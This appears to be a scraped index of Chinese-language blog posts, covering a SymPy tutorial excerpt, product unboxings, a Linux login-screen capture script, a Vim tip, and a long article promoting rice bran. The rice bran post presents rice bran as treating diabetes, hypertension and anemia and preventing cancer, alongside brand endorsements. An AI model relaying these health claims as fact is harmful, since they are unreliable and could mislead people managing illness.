\u0026gt;\u0026gt;\u0026gt; A**2 [x*y + 1 2*x ] [ ] [ 2*y x*y + 1] Pattern Matching 使用 .match() 方法並配合 Wild 類別可以對 Symbol 進行比對，例如抓取某一項的係數等，這個方法會傳回一個 dictionary，例如：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Symbol, Wild \u0026gt;\u0026gt;\u0026gt; x = Symbol(\u0026#39;x\u0026#39;) \u0026gt;\u0026gt;\u0026gt; p = Wild(\u0026#39;p\u0026#39;) \u0026gt;\u0026gt;\u0026gt; (5*x**2).match(p*x**2) {p: 5} \u0026gt;\u0026gt;\u0026gt; q = Wild(\u0026#39;q\u0026#39;) \u0026gt;\u0026gt;\u0026gt; (x**2).match(p*x**q) {p: 1, q: 2} 如果沒有找到指定的 pattern，則會傳回 None：\n\u0026gt;\u0026gt;\u0026gt; print (x + 1).match(p**x) None 亦可使用 Wild 的 exclude 參數排除指定的比對結果：\n\u0026gt;\u0026gt;\u0026gt; p = Wild(\u0026#39;p\u0026#39;, exclude=[1, x]) \u0026gt;\u0026gt;\u0026gt; print (x + 1).match(x + p) # 1 is excluded None \u0026gt;\u0026gt;\u0026gt; print (x + 1).match(p + 1) # x is excluded None \u0026gt;\u0026gt;\u0026gt; print (x + 1).match(x + 2 + p) # -1 is not excluded {p_: -1} 輸出顯示（Printing） SymPy 的運算結果可以用好幾種不同的方式輸出，一般預設的方式是使用 str(expression) 的方式，例如：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Integral \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; print x**2 x**2 \u0026gt;\u0026gt;\u0026gt; print 1/x 1/x \u0026gt;\u0026gt;\u0026gt; print Integral(x**2, x) Integral(x**2, x) 而 pprint() 函數（pretty printing）可以將結果以 ascii-art 的方式「畫」出來，例如：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Integral, pprint \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; pprint(x**2) 2 x \u0026gt;\u0026gt;\u0026gt; pprint(1/x) 1 - x \u0026gt;\u0026gt;\u0026gt; pprint(Integral(x**2, x)) / | | 2 | x dx | / 若您的系統有安裝 unicode 字型，則 pprint() 函數預設就會使用它，亦可使用 use_unicode 參數自行設定。\n\u0026gt;\u0026gt;\u0026gt; pprint(Integral(x**2, x), use_unicode=True) ⌠ ⎮ 2 ⎮ x dx ⌡ 下面示範將 pprint() 設定為預設的輸出函數：\n$ python Python 2.5.2 (r252:60911, Jun 25 2008, 17:58:32) [GCC 4.3.1] on linux2 Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; from sympy import init_printing, var, Integral \u0026gt;\u0026gt;\u0026gt; init_printing(use_unicode=False, wrap_line=False, no_global=True) \u0026gt;\u0026gt;\u0026gt; var(\u0026#34;x\u0026#34;) x \u0026gt;\u0026gt;\u0026gt; x**3/3 3 x -- 3 \u0026gt;\u0026gt;\u0026gt; Integral(x**2, x) #doctest: +NORMALIZE_WHITESPACE / | | 2 | x dx | / 使用 Python 輸出：\n\u0026gt;\u0026gt;\u0026gt; from sympy.printing.python import python \u0026gt;\u0026gt;\u0026gt; from sympy import Integral \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; print python(x**2) x = Symbol(\u0026#39;x\u0026#39;) e = x**2 \u0026gt;\u0026gt;\u0026gt; print python(1/x) x = Symbol(\u0026#39;x\u0026#39;) e = 1/x \u0026gt;\u0026gt;\u0026gt; print python(Integral(x**2, x)) x = Symbol(\u0026#39;x\u0026#39;) e = Integral(x**2, x) 使用 LaTeX 輸出：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Integral, latex \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; latex(x**2) x^{2} \u0026gt;\u0026gt;\u0026gt; latex(x**2, mode=\u0026#39;inline\u0026#39;) $x^{2}$ \u0026gt;\u0026gt;\u0026gt; latex(x**2, mode=\u0026#39;equation\u0026#39;) begin{equation}x^{2}end{equation} \u0026gt;\u0026gt;\u0026gt; latex(x**2, mode=\u0026#39;equation*\u0026#39;) begin{equation*}x^{2}end{equation*} \u0026gt;\u0026gt;\u0026gt; latex(1/x) frac{1}{x} \u0026gt;\u0026gt;\u0026gt; latex(Integral(x**2, x)) int x^{2}, dx 使用 MathML 輸出：\n\u0026gt;\u0026gt;\u0026gt; from sympy.printing.mathml import mathml \u0026gt;\u0026gt;\u0026gt; from sympy import Integral, latex \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; print mathml(x**2) \u0026lt;apply\u0026gt;\u0026lt;power\u0026gt;\u0026lt;ci\u0026gt;x\u0026lt;/ci\u0026gt;\u0026lt;cn\u0026gt;2\u0026lt;/cn\u0026gt;\u0026lt;/power\u0026gt;\u0026lt;/apply\u0026gt; \u0026gt;\u0026gt;\u0026gt; print mathml(1/x) \u0026lt;apply\u0026gt;\u0026lt;power\u0026gt;\u0026lt;ci\u0026gt;x\u0026lt;/ci\u0026gt;\u0026lt;cn\u0026gt;-1\u0026lt;/cn\u0026gt;\u0026lt;/power\u0026gt;\u0026lt;/apply\u0026gt; 使用 Pyglet：\n\u0026gt;\u0026gt;\u0026gt; from sympy import Integral, preview \u0026gt;\u0026gt;\u0026gt; from sympy.abc import x \u0026gt;\u0026gt;\u0026gt; preview(Integral(x**2, x)) 如果系統上有安裝 pyglet 的話，就會跳出這個視窗：\n參考資料 Linux Journal ","permalink":"https://blog.gtwang.org/useful-tools/sympy-python-library-for-symbolic-mathematics/","summary":"\u003cp\u003e\u003ca href=\"https://www.sympy.org/\"\u003eSymPy\u003c/a\u003e 是一個可以進行數學代數運算的 Python 模組，他的發展目標是一個完整的電腦代數系統，而此模組完全都是使用 Python 寫成的，所以不需要依賴其他的函式庫。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"SymPy：使用 Python 幫你導煩人的數學公式"},{"content":"新竹的福源花生醬很有名，之前都是親戚送的，最近吃完了想自己去買，第一次去新竹市東大路找的時候，因為查了 Google 地圖，沒記地址，想說應該有招牌，看招牌就可以了，結果福源的招牌很不明顯，結果沒找到，第二次去的時候，就記好門牌，看門牌號碼才找到。\n福源花生醬的店面地址是新竹市東大路一段 155 號。\n最近掛了很明顯的新招牌，這樣就好找多了。\n福源的店裡有賣很多東西，當然最有名的就是的福源花生醬，花生醬有兩種：有顆粒與沒有顆粒的，今天去買了兩瓶顆粒的花生醬。\n花生醬一瓶 130 元，還有開發票。\n剛買來很新鮮的花生醬，等不及來吃了。\n花生醬拿來塗在土司當早餐最棒了，自己買花生醬與土司，比起一般的麵包便宜許多。\n福源的花生醬保存期限只有三個月，我買來的花生醬有效日期是 2013.03.10，看起來才剛做好不到一週，很新鮮，而包裝上面也寫「購買後需冷藏」，感覺讓人比較安心，應該沒有做太多的加工處理，很多市面上的花生醬不用冷藏隨便都可以放一年以上，不知道怎麼會差那麼多。\n","permalink":"https://blog.gtwang.org/life/hsinchu-peanut-butter/","summary":"\u003cp\u003e新竹的福源花生醬很有名，之前都是親戚送的，最近吃完了想自己去買，第一次去新竹市東大路找的時候，因為查了 Google 地圖，沒記地址，想說應該有招牌，看招牌就可以了，結果福源的招牌很不明顯，結果沒找到，第二次去的時候，就記好門牌，看門牌號碼才找到。\u003c/p\u003e","title":"新竹福源花生醬：好吃的新竹名產"},{"content":"最近上 PChome 買了一臺 3M 的除濕機，順便拍些照片，介紹一下。\n這台除濕機是除濕輪式的，沒有壓縮機，單然也沒有冷媒，重量非常輕，不到一般除濕機的一半，只有 6.5 公斤，不過缺點是比較耗電。\n打開箱子有 3M 的保證書與說明書。\n接著就是除濕機。\n我把除濕機的每一面都拍下來給大家參考。\n出風口在使用時可以設定自動風向或是固定風向。\n除濕機的提把。\n後方電源線。\n除濕機濾網。\n上方的功能按鍵。\n除濕機的儲水槽。\n儲水槽有一個滑蓋，手提的時候可以防止水外溢。\n","permalink":"https://blog.gtwang.org/unboxing/3m-dehumidifier/","summary":"\u003cp\u003e最近上 PChome 買了一臺 3M 的除濕機，順便拍些照片，介紹一下。\u003c/p\u003e\n\u003cp\u003e這台除濕機是除濕輪式的，沒有壓縮機，單然也沒有冷媒，重量非常輕，不到一般除濕機的一半，只有 6.5 公斤，不過缺點是比較耗電。\u003c/p\u003e","title":"[開箱] 3M 除濕輪式空氣清淨除濕機（RDH-Z60T）"},{"content":"最近在比較除濕機，感覺日立的品牌比較老，而且網路評價都很好，再加上這一張 PChome 整理的除濕機召回檢修公告：\n每個牌子都有，唯獨沒有日立，最後還是選擇買日立的。\n日立的除濕機依照功能與除濕能力有好幾款，選了老半天感覺買個 RD-12FS/RD-12FG 應該就夠用了，畢竟是要放房間用的，除濕能力差不多就可以了，然後挑個有 FUZZY 功能的，避免一下除太乾。\n這台 RD-12FS/RD-12FG 的售價在 Yahoo 與 PChome 的售價都是 7490，我也找了好多地方也都是這個價格，而有些網路拍賣有很低的價格，六千多就有，不過我想找個維修換貨都方便的地方買，避免麻煩。\n後來在竹北博愛街上面的全國電子，老闆不錯，定價一樣是 7490，直接算我 7000，同樣竹北另一家全國電子就沒有這個價格了。\n這台是放在外面地展示機，不過看起來是全新沒用過的，用膠膜包好好放在外面，我想日立的應該很耐用，就算有問題，一年保固，反正全國電子維修很方便，就給他買了。\n除濕機上方的提把。\n除濕機的水箱。\n排水孔，可以自己接水管。\n這個排水孔的設計比其他家好，它是一個可以開關的蓋子，不像其他家的排水孔是敲開之後就沒辦法蓋回去了。\n濾網的部分也設計很好，它是直接裝在外面，因為最會卡灰塵的地方就是外面，這樣設計就可以把最髒的地方只整個拆下來洗。\n上方的面板。\n出風口可以手動調整風向。\n這款除濕機我用起來感覺很安靜，除濕能力也很好，而除濕的時候室內溫度不太會上升（因為省電），感覺很滿意！\n","permalink":"https://blog.gtwang.org/unboxing/hitachi-fuzzyrd-12fsrd-12fg/","summary":"\u003cp\u003e最近在比較除濕機，感覺日立的品牌比較老，而且網路評價都很好，再加上這一張 PChome 整理的除濕機召回檢修公告：\u003c/p\u003e\n\u003cp\u003e每個牌子都有，唯獨沒有日立，最後還是選擇買日立的。\u003c/p\u003e","title":"[開箱] 日立 HITACHI FUZZY 感溫適濕除濕機（RD-12FS/RD-12FG）"},{"content":"最近機車的里程表不會動，時速表也不會動，不管騎多快時速都是零，去給機車行看過之後，原來是碼表線斷了，要換一根新的碼表線，還好不是碼表壞掉，不然可能要花大錢。\n這東西我也是第一次見過，看老闆換過才知道有這種東西。\n這是換下來壞掉的碼表線。\n這樣換一條碼表線花了 200 元，網路上看到有些店家有比較便宜的 150 就搞定了，雖然可以接受，但是現在不景氣，能省則省，看來下次要去比價一下。\n","permalink":"https://blog.gtwang.org/life/motorcycle-repair/","summary":"\u003cp\u003e最近機車的里程表不會動，時速表也不會動，不管騎多快時速都是零，去給機車行看過之後，原來是碼表線斷了，要換一根新的碼表線，還好不是碼表壞掉，不然可能要花大錢。\u003c/p\u003e","title":"換機車碼表線"},{"content":"長期以來使用 Olympus E-520 都缺一個閃光燈，但是 Olympus 官方的閃光燈價位都不便宜，最近看到 FL-36 二手的一支才兩千多，就給它買下來了。\n這隻是 2004 年上市的，到今天已經八年多了，所以價格比較便宜，當然功能也沒那麼強，不過對我這個外行人而言，算是很夠用了。\n這種東西大概都是大陸製的。\n原本以為燈頭上那片是反光板，原來不是。\n上頭有一片廣角板，12mm 以下的廣角才需要使用\n看起來小小的，但是拿起來也有些重量。\n之前就感覺我的 E-520 有點大台，想說以後換台小台一點的相機，現在買了閃光燈，一裝上去變得更大更笨重，終於瞭解為什麼很多人出門不帶閃燈，因為多裝閃燈真的有差。\n首先拍一張沒有用閃光燈的照片：\n沒用閃光燈，快門只有 1/2 秒，不好拍。\n使用內閃：\n使用閃燈之後，快門都可以保持在 1/60，差很多，這樣也不需要開防手震了。\n接下來用 FL-36 測試：\n跳燈的效果跟內閃實在差很多，以前沒有外接的閃燈，只有內閃，用內閃拍出來的像片我看了簡直都快暈倒，所以常常都把閃燈關掉不用，但是這樣室內燈光不夠時又容易會糊掉，拍得很痛苦，現在有了這隻 FL-36 就好很多了。\n最後這張是拍阿玄玄的效果，閃燈打右方的牆壁，感覺很不錯，光圈用 5.1，快門都可以到 1/60 秒，不容易糊掉。\n第一次使用外閃，有時候因為天花板比較高，所以用跳燈感覺不夠亮，可能還要在自己調整一下參數，現在還在練習中。\n","permalink":"https://blog.gtwang.org/unboxing/olympus-fl-36/","summary":"\u003cp\u003e長期以來使用 Olympus E-520 都缺一個閃光燈，但是 Olympus 官方的閃光燈價位都不便宜，最近看到 FL-36 二手的一支才兩千多，就給它買下來了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Olympus FL-36 閃光燈\" loading=\"lazy\" src=\"/unboxing/olympus-fl-36/PB266847.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這隻是 2004 年上市的，到今天已經八年多了，所以價格比較便宜，當然功能也沒那麼強，不過對我這個外行人而言，算是很夠用了。\u003c/p\u003e","title":"[二手開箱] Olympus FL-36 閃光燈"},{"content":"一般在 Ubuntu Linux 中若要擷取螢幕的畫面，可以直接使用 Gimp 這個繪圖軟體的擷取螢幕功能即可，但是若是要抓取登入畫面就沒辦法使用一般的繪圖軟體來抓取，這時候可以使用 xwd 透過指令來抓取畫面，然後再使用 imagemagick 的 convert 指令轉換圖檔。\n這裡我們就要介紹如何使用這兩個指令工具，在命令列中擷取 Linux 的登入畫面。\n首先安裝 ImageMagick：\nsudo apt-get install imagemagick 接著建立一個簡單的 script 檔，他的功用就是抓取螢幕的畫面\necho \u0026#39;chvt 7; sleep 5; DISPLAY=:0 XAUTHORITY=/run/lightdm/root/:0 xwd -root; chvt 1\u0026#39; \u0026gt; /tmp/shot.sh 這裡的 XAUTHORITY 所指定的檔案有時後會因為不同的環境而不同，可能要自己注意。而 chvt 7 與 chvt 1 則是切換 virtual terminal 的指令，上面這個指令會先切換至 virtual terminal 7，也就是視窗環境的登入畫面，等待 5 秒後擷取畫面，再切換回 virtual terminal 1。\n接下來就是要開始抓去畫面了，這時候你必須把桌面登出，讓畫面呈現準備登入的狀態（因為就是要抓取登入畫面啊）。\n接著，按下 Ctrl + Alt + F1，這時候就會切換到文字模式（console），在文字模式下輸入帳號密碼登入。\n如果不想在同一台電腦使用文字模式，也可以使用 SSH 從別台電腦遠端連線進來。\n接著開始擷取畫面，執行：\nsudo bash /tmp/shot.sh \u0026gt; /tmp/shot.xwd 這樣登入畫面就會被擷取出來，並儲存在 shot.xwd 這個檔案中，這時候就可以離開文字模式了，登出之後，再按 Ctrl + Alt + F7 就可以回到 XWindow 的視窗環境。\n接著要把 xwd 圖檔轉換為一般常用的 JPG 檔：\nconvert -quality 50 /tmp/shot.xwd /tmp/shot.jpg 也可以轉換為 PNG 檔：\nconvert /tmp/shot.xwd /tmp/shot.png 這樣就大公告成了！\n","permalink":"https://blog.gtwang.org/linux/linux-xwd-screenshot/","summary":"\u003cp\u003e一般在 Ubuntu Linux 中若要擷取螢幕的畫面，可以直接使用 Gimp 這個繪圖軟體的擷取螢幕功能即可，但是若是要抓取登入畫面就沒辦法使用一般的繪圖軟體來抓取，這時候可以使用 xwd 透過指令來抓取畫面，然後再使用 imagemagick 的 convert 指令轉換圖檔。\u003c/p\u003e","title":"使用 xwd 擷取 Linux 登入畫面"},{"content":"這裡介紹米糠（米麩）是什麼？以及它對於身體健康有哪些好處？\n米糠這個東西具有很高的營養價值，但是以往我們都沒有將其妥善運用，以下我們有關於米糠的詳細介紹。\n雖然米糠對身體很有益處，但是市面上的米糠品質參差不齊，若要購買米糠，我個人是推薦鴨間稻有機纖倍素（可從蝦皮拍賣購買），鴨間稻的米糠是目前我吃過最好的，推薦大家可以買來吃吃看。\n米糠（米麩）是什麼？ 米糠（米麩）是在碾米過程中被刨去卻是最重要的營養成分，下面這張圖是從糙米碾到白米的過程：\n由這張圖就可以看到，我們平常吃的糙米包含了果皮、種皮、糊粉層、胚芽與胚乳等，也就是指有把稻穀最外層的殼拿掉而已。\n而我們所食用的白米，則是從糙米經過不斷的碾米而來的，依據碾米程度的不同，可分為三分米、五分米與七分米等不同的狀況。\n三分米已經除去了最外層的果皮，第二層的種皮大部分都還殘留著，而三分米本身是呈茶褐色，對於習慣吃白米的人可能比較不能適應。而五分米是連第二層的種皮也幾乎去除，只留下糊粉層、胚乳與胚芽。七分米則是連糊粉層都已經去除。碾到最後只剩下只剩下胚芽與胚乳，就是一般的胚芽米，如果連胚芽都碾掉了，只剩下胚乳，就是一般我們所食用的白米了。\n這樣很明顯可以看得出來，經過越多碾米的過程，所得到的米越精細，但是流失的營養成分也越多，下面這個表是從純白米到糙米的營養比較：\n米的成分表（100克可食用部分之平均值） 單位 糙米 五分米 七分米 白米 熱量 Kcal 351 353 356 356 水分 g 15.5 15.5 15.5 15.5 蛋白質 g 7.4 7.1 6.9 6.8 脂肪 g 3.0 2.0 1.7 1.3 碳水化合物 糖質 g 3.0 2.0 1.7 1.3 纖維素 g 1.0 0.6 0.4 0.3 含灰成分 g 1.3 0.9 0.8 0.6 無機質 鈣 mg 10 8 7 6 鐵 mg 1.1 0.8 0.7 0.5 維生素 B1 mg 0.54 0.39 0.32 0.12 B2 mg 0.06 0.05 0.04 0.03 菸鹼酸 mg 4.5 3.5 2.4 1.4 從這個表格可以很清楚看出來，白米已經流失掉非常多糙米所擁有的蛋白質、脂肪、鈣質、纖維素、鐵質與維生素等營養。\n純白米之中（胚乳部分）大約有 70％是碳水化合物（蛋白質約佔 6％），維生素 B、鈣質與鐵質等營養幾乎都已經流失了。\n經過碾米過程，除去了大部分的營養成分，而米糠就是碾米過程中被刨去卻是最重要的營養成分。\n但是為什麼這麼重要的營養成分還要刻意去除呢？原因就在於除去這些營養成分後的純白米，不但美觀而且口感更好，另一方面也是因為長期以來，米糠因為口感差，多半都被用來製作成動物的飼料，大家因此都誤認為因為米糠沒有價值，所以都給動物吃，講到米糠大家直覺那是雞吃的，人怎麼能吃呢？但其實米糠才是最有價值的東西！\n米糠與粗糠 有人會將「米糠」與「粗糠」混為一談，以為米糠就是粗糠，但事實上是不一樣的，粗糠是稻穀最外層的殼，長得像這樣：\n而米糠則是從糙米碾下來的部分，長得像這樣：\n米糠其實沒有像粗糠那麼粗，直接吃的話一般是還可以接受，有些人會把粗糠誤認為是米糠，擔心很難吃、有農藥殘留等等，但其實若是瞭解米糠是什麼，大概就不會有這個問題了。\n米糠的保存 米糠這種東西非常不容易保存，米糠只要離開米粒後，性質會變得很不安定，會急速氧化，產生酸敗，導致變質，變質的米糠聞起來就像雞飼料的味道，所以處理與包裝技術會對米糠的品質有非常大的影響。\n市面上有幾家不同品牌的米糠，品質差很多，有的很好、有的很差，我吃過幾家米糠之後，最推薦的就是鴨間稻有機纖倍素（可從蝦皮拍賣購買），他們的米糠安定化技術很不錯，產品包裝也非常講究，其實品質好壞只要吃過、比較過，自然就會知道了，所以建議大家嘗試看看鴨間稻的有機纖倍素。\n米糠（米麩）的益處 米糠除了上述豐富的營養成份之外，它還有許多益處。\n排便情況的改善 開始食用米糠之後，最顯著的變化就是有良好的排便狀況。照理說食用米糠之後，可以使人一天排便二到三次，並且不會有腹瀉的情況發生，因為米糠中所含有的食物纖維，可以有效的清理腸內的物質。事實上，正常人一天吃三餐，所以正常的話，也應該排便三次，如果糞便在人體內滯留的時間太久，就會容易產生對身體有害的物質，也就是癌症等疾病會產生的原因之一。\n原本東方人的飲食習慣並不容易使人罹患大腸癌，但是隨著飲食習慣的改變，越來越多人傾向歐美的飲食方式，使得罹患大腸癌的人數急速增加。我們從歐美人的飲食習慣中可以發現含有大量的脂肪，並且嚴重缺少食物纖維，使得歐美人便秘的情況十分嚴重。便秘可以說是罹患大腸癌的主要原因，因為便秘，糞便滯留在腸內的時間會大幅增加，而時間一久，就會容易產生腐壞菌與致癌性物質，而使我們的大腸內壁受到嚴重的破壞。\n因此可知，食用米糠、攝取豐富的食物纖維，是我們預防大腸癌的絕佳妙方。\n使膽固醇值降低 米糠中所含有的食物纖維，可以有效防止膽固醇被人體吸收，而且可以降低血液中膽固醇的含量。膽固醇可以說是中風、心肌梗塞、動脈硬化與肥胖等各種成人病的罪魁禍首。其實，膽固醇對人體而言，並不是不好的物質，膽固醇對人體也是也許多好處的，而食物纖維所排除的只是體內多餘的膽固醇。\n減肥 食用米糠後，便秘的問題解決了，膽固醇也降低了，肥胖的問題也會自然改善，而且米糠中沒有被人體吸收的食物纖維，會伴隨體內多餘的養分一起排出體外，這對於容易吸收多餘動物性蛋白質與脂肪的人而言，可以說是一大福音。\n治療高血壓 高血壓是離患有腦出血、心肌梗塞、狹心症與心臟衰竭等危及生命疾病的人所最懼怕的症狀，而米糠可以有效改善高血壓的症狀。食用米糠後，如之前所說的，膽固醇值會開始下降，而血液中的膽固醇值一降，血壓自然也會隨之下降。\n此外，米糠中含有的亞油酸和鉀，前者擁有降低血液中膽固醇和中性脂肪的功能，而後者可以幫助體內鹽分的排除，兩者對於血壓的安定都十分有幫助。\n農委會最新的研究也顯示米糠最有利降血壓。\n改善血糖值 在英國原本有許多糖尿病患者，但隨著戰爭的爆發，患者也隨之減少，這是因為戰爭一發生，飲食環境也隨之變化，砂糖與脂肪的食用量也跟著減少，而且小麥在碾麥過程也沒有以往精密，所以在食用的時候就等於順便吃下麥麩，也才會造成這樣的結果，因為糖尿病患者食用了豐富的食物纖維。\n糖尿病是一種十分可怕的疾病，它可以讓人失明，可以讓人呈現意識不明的昏睡狀態，甚至讓人死亡，現在都是靠胰島素與食療法十分小心地控制病況。\n米糠所含有的食物纖維，擁有可以阻止多餘糖分被吸收的功能，不但可以預防糖尿病，還有治療的能力。\n治療貧血 貧血大多都是位缺乏鐵質所引起的，現在人為了預防貧血，常需要食用大量的肝臟與菠菜來補充鐵質，其實米糠本身也含有豐富的鐵質，很容易就可以達到治療的效果。\n有效對付自主神經失調症 人體如果缺乏維生素 B 群中的泛酸，就容易導致自主神經失調的症狀，而米糠中含有豐富的維生素 B 群，可以有效補充人體所需。\n患有自主神經失調症的病患，神經傳達的路線會受到阻礙，並間接影響到循環系統與消化系統的功能無法正常運作，造成食慾不振、便秘或腹瀉等症狀。而這種疾病目前可以說是沒有根治的方法，只能靠病患多食用些米糠或糙米來緩和病情。\n可保持年輕 米糠中所含有的維生素 E 有許多功效，不但可以預防腰部寒症、痔瘡、動脈硬化、癌症、糖尿病、肝病、與一些更年期疾病的發生，而且還可以防止血管內產生過多的過酸性脂肪，使血管保持正常運作。\n而如果血管內過酸性脂肪增加，血壓就會上升，也會加速老化的進行，所以多食用維生素 E，不但可以使血液流動暢通，防止過酸性脂肪增加，也可以防止老化。\n控制血糖的新食品：米麩穀粉 台北醫學大學也有一些研究報告：\n控制血糖的新食品：米麩穀粉\n台北醫學大學保健營養學系鄭心嫻教授和她的研發團隊，從特定品種的台灣糙米中取得米麩（rice bran）後，以特殊技術製成米麩穀粉，然後進行人體實驗。參加實驗的第 2 型糖尿病患者，在不改變他們的飲食、運動習慣，以及用藥種類和份量的情況下，每天服用米麩穀粉 20 公克，持續 12 週。結果發現病人體內的血糖、胰島素、血脂質濃度都出現明顯改善，這是「米麩穀粉可以改善糖尿病患者的糖化血色素」及「特殊膳食纖維可以降低糖尿病患者膽固醇」的確切證據。\n有關穀類、膳食纖維與糖尿病之間的研究，在營養學上已有諸多結論。例如增加飲食中的全穀類及穀類纖維的攝取，可降低糖尿病發生率。又如飲食中的膳食纖維，可改善糖尿病患者的餐後血糖、胰島素分泌和降低血脂質。臺灣生產最多的穀類就是稻米，米麩是碾製白米時從糙米上掉下來的部分，也是稻米儲存油脂及膳食纖維的地方，因此含有豐富的膳食纖維、單元不飽和脂肪酸、維生素 E 等營養素。\n摘錄自「科學發展」 2007 年 1 月，409 期\n這篇行政院國家科學委員會「科學發展」期刊文章的原文可以從這裡下載。\n而我個人的經驗而言，直接吃米糠（沒有磨細的）對於便秘很有幫助，可能因為他的纖維素很夠，我碰過好多長期吃軟便劑的人，吃了米糠效果很好，也不用吃很多，每天大約 20 克（傳統的鐵湯匙，約一湯匙）。\n除此之外，吃米糠精神與體力也會變好一些，這是我個人的感覺。\n米糠哪裡買？ 米糠在市面上很少見，一來保存不易，二來台灣大眾對米糠的認知不足，市場需求少，很少廠商願意販售。有機的安定化米糠，可參考鴨間稻有機纖倍素（可從蝦皮拍賣購買），它是中華穀類食品工業技術研究所技術輔導生產的，品質很好，我個人覺得米糠的食用量很少，可以買有機的。\n除了鴨間稻的有機纖倍素之外，池上大地有機胚芽米糠麩的品質也還可以，想比較不同廠牌的人也可以考慮，可以從蝦皮拍賣網站上購買。\n「鴨間稻有機纖倍素」與「池上大地有機胚芽米糠麩」是目前台灣唯一兩家有跟中華穀類食品工業技術研究所有技術合作的米糠，所以品質會比一般普通碾米廠生產的米糠更好，如果想要買來試吃看看的人，可以從蝦皮拍賣網站購買組合包。\n參考資料 健康顧問會。《米糠的神奇療法》。李泓葦譯。輝鑫出版社。 自由時報：吃糙米降血壓 米糠是關鍵 ","permalink":"https://blog.gtwang.org/life/rice-bran/","summary":"\u003cp\u003e這裡介紹米糠（米麩）是什麼？以及它對於身體健康有哪些好處？\u003c/p\u003e\n\u003cp\u003e米糠這個東西具有很高的營養價值，但是以往我們都沒有將其妥善運用，以下我們有關於米糠的詳細介紹。\u003c/p\u003e","title":"米糠（米麩）的益處"},{"content":"有時候把 Windows 中的文字檔案拿到 Mac 或 Linux 系統中編輯時，在每一行文字的結尾就會出現 ^M 這個符號，若是在 Mac 的系統之下，換行也有問題，看起來像這樣：\n這個問題是因為不同的系統所使用的換行字元不同所引起的，Windows 中的換行字元是 \\n\\r，Linux 是 \\n，Mac 則是 \\r，這裡我們介紹如何使用 Vim 修正這個小問題。\n若要在 Vim 中修正這個問題，就用一般的取代方式就可以了，直接將 ^M 置換掉，雖然很簡單，但重點是 ^M 怎麼輸入，不是直接打鍵盤上面的符號，而是先輸入 Ctrl + V 後再輸入 Ctrl + M，這樣輸入的 ^M 會是不一樣的顏色，看起來應該要像這樣：\n這裡我是在 Mac OS X 中測試的，將所有 ^M 置換成 \\r，置換完成的結果就像這樣：\n很簡單的作法，但是每次要使用都很容易忘記 ^M 怎麼輸入，搞了老半天。\n","permalink":"https://blog.gtwang.org/tips/vim-ctrl-m/","summary":"\u003cp\u003e有時候把 Windows 中的文字檔案拿到 Mac 或 Linux 系統中編輯時，在每一行文字的結尾就會出現 \u003ccode\u003e^M\u003c/code\u003e 這個符號，若是在 Mac 的系統之下，換行也有問題，看起來像這樣：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"vim1\" loading=\"lazy\" src=\"/tips/vim-ctrl-m/vim1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e這個問題是因為不同的系統所使用的換行字元不同所引起的，Windows 中的換行字元是 \u003ccode\u003e\\n\\r\u003c/code\u003e，Linux 是 \u003ccode\u003e\\n\u003c/code\u003e，Mac 則是 \u003ccode\u003e\\r\u003c/code\u003e，這裡我們介紹如何使用 Vim 修正這個小問題。\u003c/p\u003e","title":"在 Vim 中修正 ^M 換行符號"},{"content":"週末去北埔慈天宮拜拜，看到廟裡有人在把一種很特別的瓜刨絲，我很好奇就問這是什麼，後來才知道這個叫做「佛手柑」，刨絲曬乾之後拿來泡茶，對於心血管很好。\n佛手柑佛手柑在刨絲的時候，佛手柑的香味都散發出來，是一種很清爽的香味，聞了讓人很舒服，一般的伯爵茶中也有加入佛手柑，聞起來就很香，也有人把它拿來製作精油。\n","permalink":"https://blog.gtwang.org/funny/bergamot/","summary":"\u003cp\u003e週末去北埔慈天宮拜拜，看到廟裡有人在把一種很特別的瓜刨絲，我很好奇就問這是什麼，後來才知道這個叫做「佛手柑」，刨絲曬乾之後拿來泡茶，對於心血管很好。\u003c/p\u003e","title":"佛手柑"},{"content":"今天剛好有事要去公司一趟，就順便帶阿玄回母校竹中玩，剛好天氣很不錯，多雲時晴的天氣，不會太熱，也沒什麼風，阿玄流汗也比較不用怕著涼。\n早上我先到園區的公司，再繞寶山路到竹中大門旁邊停車，學府路的路邊停車位週六日是不收費的，所以通常週六日都會停滿滿的，今天還好我們去的早，到的時候還沒八點，車位還很多，不過我停好車之後，不到五分鐘，旁邊的車位也都被停滿了，看來下次來要早一些，不然很容易找不到車位！\n阿玄一去到竹中操場就很高興，因為平常都沒辦法有機會出來玩，只有假日我有空開車載他出來，竹中的地理環境很好，人一到那裡就很舒服，阿玄就在操場上跑來跑去。\n紅色的 PU 